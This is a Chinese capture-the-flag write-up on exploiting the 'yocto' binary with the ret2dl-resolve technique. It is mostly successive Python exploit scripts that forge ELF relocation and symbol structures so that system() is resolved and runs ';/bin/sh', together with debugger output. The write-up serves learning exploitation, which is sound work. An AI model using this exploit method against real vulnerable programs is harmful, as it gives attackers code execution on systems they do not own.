之前学习ret 2 dl-resolve的时候的记录,第一次遇到这种类型的题目应该是joker师傅给CCTF出的题目,之后师傅给了我yocto这个题目,并给了我他的exp,我根据一些文章+师傅的exp搞定了这个题目的利用。
0x00:分析
程序逻辑很简单。
1 2 3 4 5 6 7 8 9 10 11 12
| Input: 1111.2222.3333.4444 ebp-0xc #12 edx 2222 ebp-0x10 #16 ecx 3333 ebp-0x14 #20 eax 1111 then... call exc(edx,eax) 0000| 0xbffff9dc --> 0x8ae # 2222 0004| 0xbffff9e0 --> 0x457 # 1111 0008| 0xbffff9e4 --> 0x80495c9 (".3333.4444\n") 0012| 0xbffff9e8 --> 0x457 0016| 0xbffff9ec --> 0xd05 0020| 0xbffff9f0 --> 0x8ae
|
0x01:利用思路
使用ret 2 dl-reslove
技术,伪造reloc
和dynsym
和dynstr
,然后控制返回地值为plt[0]
并且设置好参数,使得程序去查找并调用的是system()
函数,并执行我们设置的命令。
0x02:exp构造过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| __author__ = "muhe" from zio import *
args = ['./yocto']
io = zio(args, timeout=100000)
plt_addr = 0x080482a0 rel_plt_addr = 0x08048270 dynsym_addr = 0x0804818c dynstr_addr = 0x080481fc base_addr = 0x080495C0 atoi_got_plt = 0x08049548 atoi_plt = 0x080482e0
fake_reloc_addr = base_addr + 16 reloc_offset = fake_reloc_addr - rel_plt_addr
''' input: 1111.2222.3333 push eax 1111 push edx 2222 jmp ecx 3333 call ecx(edx,eax) ''' payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.writeline(payload) raw_input('waiting for debugger attach...') io.interact()
|
check没过,继续构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| __author__ = "muhe" from zio import *
args = ['./yocto']
io = zio(args, timeout=100000)
plt_addr = 0x080482a0 rel_plt_addr = 0x08048270 dynsym_addr = 0x0804818c dynstr_addr = 0x080481fc base_addr = 0x080495C0 atoi_got_plt = 0x08049548 atoi_plt = 0x080482e0
fake_reloc_addr = base_addr + 36 reloc_offset = fake_reloc_addr - rel_plt_addr
fake_dynsym_addr = base_addr + 60
r_info = (fake_dynsym_addr - dynsym_addr) << 8 | 0x7
fake_dynstr_addr = bass_addr + 45 st_name = fake_dynstr_addr - dynstr_addr
bin_sh_addr = bass_addr + 76 ''' input: 1111.2222.3333 push eax 1111 push edx 2222 jmp ecx 3333 call ecx(edx,eax) '''
payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr) raw_input('waiting for debugger attach...')
payload += "AAAA" payload += "BBBB" payload += "CCCC" payload += "DDDD" payload += "EEEE" payload += "FFFF" payload += "GGGG" payload += "HHHH" payload += "IIII" payload += "JJJJ" payload += "KKKK" payload += "LLLL" payload += "MMMM" payload += "NNNN" print len(payload)
io.writeline(payload) io.interact()
|
过了
1
| assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
|
最低位是不是7的check。
变换exp继续调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| ....
payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.gdb_hint([0x080483F5]) payload += "AAAA" payload += "BBBB" payload += "CCCC"
payload += l32(atoi_got_plt) payload += l32(r_info) payload += "FFFF" payload += "GGGG" payload += "HHHH" payload += "IIII" payload += "JJJJ" payload += "KKKK" payload += "LLLL" payload += "MMMM" payload += "NNNN" print len(payload)
io.writeline(payload) io.interact()
|
变换payload部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.gdb_hint([0x080483F5]) payload += "AAAA" payload += "BBBB" payload += "CCCC"
payload += l32(atoi_got_plt) payload += l32(r_info) payload += "FFFF" payload += "GGGG" payload += "HHHH" payload += "IIII" payload += "JJJJ" payload += "KKKK" payload += "LLLL"
payload += l32(0) payload += "NNNN" print len(payload)
io.writeline(payload) io.interact()
|
解决办法:正常调试这个过程,看看引起异常的部分在哪里。
st_name设置的问题,修改正确的位置,改变payload为如下,继续调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.gdb_hint([0x080483F5]) payload += "AAAA" payload += "BBBB" payload += "CCCC" payload += l32(atoi_got_plt) payload += l32(r_info) payload += "FFFF" payload += "GGGG" payload += "HHHH" payload += "IIII" payload += l32(st_name) payload += "KKKK" payload += "LLLL" payload += l32(0) payload += "NNNN" print len(payload)
io.writeline(payload) io.interact()
|
这样修改之后发现:
替换system过去,应该就可以找到system的地址了。
然而…一口老血要喷出来了
这是修改之后的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.gdb_hint([0x080483F5])
payload += "AAAA" payload += "\x90" * (36 - len(payload)) print "$1 --> %d" % (len(payload)) payload += l32(atoi_got_plt) payload += l32(r_info)
payload += "\x90"*(45 - len(payload)) payload += "system\x00" print "$2 --> %d" % (len(payload))
payload += "\x90" * (60 - len(payload)) payload += l32(st_name) payload += l32(0) payload += l32(0) payload += l32(0x12)
print "$3 --> %d" % (len(payload))
payload += "\x90" * (80 - len(payload))
io.writeline(payload) io.interact()
|
单步看看发生了什么吧….
函数的参数如下:
1 2
| _dl_lookup_symbol_x (undef_name=0x80495ed <glob+45> "system", undef_map=undef_map@entry=0xb7779938, ref=ref@entry=0xbff81f38, symbol_scope=0xb7779af0, version=0xb7753c98, type_class=type_class@entry=0x1, flags=flags@entry=0x1, skip_map=skip_map@entry=0x0)
|
对比源码里这个函数的原型:
1 2
| result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, 4444 version, ELF_RTYPE_CLASS_PLT, flags, NULL);
|
返回值是libc的基地址。
对比了下9k师傅的exp,应该是dynsym的伪造块没有做对齐…原因暂时没搞清楚,先加上对齐在说。
最终exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| __author__ = "muhe" from zio import *
args = ['./yocto']
io = zio(args, timeout=100000)
plt_addr = 0x080482a0 rel_plt_addr = 0x08048270 dynsym_addr = 0x0804818c dynstr_addr = 0x080481fc base_addr = 0x080495C0 atoi_got_plt = 0x08049548 atoi_plt = 0x080482e0
fake_reloc_addr = base_addr + 36 reloc_offset = fake_reloc_addr - rel_plt_addr
fake_dynsym_addr = base_addr + 60 align_dynsym = 0x10 - ((fake_dynsym_addr-dynsym_addr) & 0xF) fake_dynsym_addr += align_dynsym
r_info = ((fake_dynsym_addr - dynsym_addr)/0x10)<< 8 | 0x7
fake_dynstr_addr = base_addr + 45 st_name = fake_dynstr_addr - dynstr_addr
''' input: 1111.2222.3333 push eax 1111 push edx 2222 jmp ecx 3333 call ecx(edx,eax) '''
payload = str(atoi_plt) payload += '.' payload += str(reloc_offset) payload += '.' payload += str(plt_addr)
io.gdb_hint([0x080483F5])
payload += ";/bin/sh\x00" payload += "\x90" * (36 - len(payload)) print "$1 --> %d" % (len(payload)) payload += l32(atoi_got_plt) payload += l32(r_info)
payload += "\x90"*(45 - len(payload)) payload += "system\x00" print "$2 --> %d" % (len(payload))
payload += "\x90" * (60 - len(payload)) payload += "\x90" * align_dynsym payload += l32(st_name) payload += l32(0) payload += l32(0) payload += l32(0x12)
print "$3 --> %d" % (len(payload))
payload += "\x90" * (80 - len(payload))
io.writeline(payload) io.interact()
|
读文件的exp效果
起shell的效果
0x03:参考
- bigtang师傅drops的文章
- ELF如何摧毁圣诞 ——通过ELF动态装载机制进行漏洞利用
- Phrack文章